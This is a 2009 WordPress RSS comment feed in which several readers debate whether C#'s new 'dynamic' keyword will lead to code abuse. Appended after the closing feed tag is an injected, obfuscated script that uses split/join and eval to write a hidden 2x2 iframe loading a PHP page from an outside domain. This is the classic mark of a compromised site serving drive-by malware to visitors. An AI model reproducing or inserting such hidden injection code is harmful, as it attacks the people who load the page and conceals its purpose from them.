<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: C# Dynamic: The Downfall of Western Civilization</title>
	<atom:link href="http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/</link>
	<description>Software Development</description>
	<lastBuildDate>Thu, 12 Nov 2009 10:25:57 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Tom</title>
		<link>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/comment-page-1/#comment-72</link>
		<dc:creator>Tom</dc:creator>
		<pubDate>Thu, 12 Nov 2009 10:25:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.lexparse.com/?p=141#comment-72</guid>
		<description>All this will really do is allow even worse programmers to write silly applications that will break in slightly different situations.
For the people who actually know what they&#039;re doing this can be a really nice feature</description>
		<content:encoded><![CDATA[<p>All this will really do is allow even worse programmers to write silly applications that will break in slightly different situations.<br />
For the people who actually know what they&#8217;re doing this can be a really nice feature</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Matt</title>
		<link>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/comment-page-1/#comment-71</link>
		<dc:creator>Matt</dc:creator>
		<pubDate>Wed, 11 Nov 2009 21:27:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.lexparse.com/?p=141#comment-71</guid>
		<description>&gt; Just tell the abusers, in a friendly way, how to code better.

sadly, there are two flaws with this
(1) programmers are often quite independently minded people
(2) your first contact with other peoples code is normally at the point its too late for your advice to help

there is a natural trade off between language feature &#039;power&#039; and how readable (or open to abuse) the resulting code is. Java has the interesting property that bad programmers will toil for a long time writing very verbose code that can normally easily be unpicked and discarded. C# features like true function types and maybe the dynamic keyword are likely to make this more difficult.

Many useful code navigation and alteration tools will not work with dynamic types, so I&#039;m also in the camp that assumes this will maybe do more harm than good.</description>
		<content:encoded><![CDATA[<p>&gt; Just tell the abusers, in a friendly way, how to code better.</p>
<p>sadly, there are two flaws with this<br />
(1) programmers are often quite independently minded people<br />
(2) your first contact with other peoples code is normally at the point its too late for your advice to help</p>
<p>there is a natural trade off between language feature &#8216;power&#8217; and how readable (or open to abuse) the resulting code is. Java has the interesting property that bad programmers will toil for a long time writing very verbose code that can normally easily be unpicked and discarded. C# features like true function types and maybe the dynamic keyword are likely to make this more difficult.</p>
<p>Many useful code navigation and alteration tools will not work with dynamic types, so I&#8217;m also in the camp that assumes this will maybe do more harm than good.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Paco</title>
		<link>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/comment-page-1/#comment-70</link>
		<dc:creator>Paco</dc:creator>
		<pubDate>Wed, 11 Nov 2009 20:55:24 +0000</pubDate>
		<guid isPermaLink="false">http://www.lexparse.com/?p=141#comment-70</guid>
		<description>As any new language feature, it will be abused. This does not mean languages should not evolve. A bad thing about language abuse and C# is that the new features will not be abused by &quot;Corporate America&quot;, but also by microsoft employees. An example of language abuse in C#3 is the use of anonymous types for things like routeconfiguration in asp.net mvc. How do we stop this: Just tell the abusers on a friendly way how to code better.</description>
		<content:encoded><![CDATA[<p>As any new language feature, it will be abused. This does not mean languages should not evolve. A bad thing about language abuse and C# is that the new features will not be abused by &#8220;Corporate America&#8221;, but also by microsoft employees. An example of language abuse in C#3 is the use of anonymous types for things like routeconfiguration in asp.net mvc. How do we stop this: Just tell the abusers on a friendly way how to code better.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Gigi</title>
		<link>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/comment-page-1/#comment-69</link>
		<dc:creator>Gigi</dc:creator>
		<pubDate>Wed, 11 Nov 2009 20:54:01 +0000</pubDate>
		<guid isPermaLink="false">http://www.lexparse.com/?p=141#comment-69</guid>
		<description>And then you&#039;ll switch to Python. Zi Horror. NOOOOOOOOOOOOOOOOOOOOOO</description>
		<content:encoded><![CDATA[<p>And then you&#8217;ll switch to Python. Zi Horror. NOOOOOOOOOOOOOOOOOOOOOO</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Chris</title>
		<link>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/comment-page-1/#comment-68</link>
		<dc:creator>Chris</dc:creator>
		<pubDate>Wed, 11 Nov 2009 20:52:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.lexparse.com/?p=141#comment-68</guid>
		<description>It will be no worse than various other dynamic languages, none of which have caused the downfall of western civilization *yet*.</description>
		<content:encoded><![CDATA[<p>It will be no worse than various other dynamic languages, none of which have caused the downfall of western civilization *yet*.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>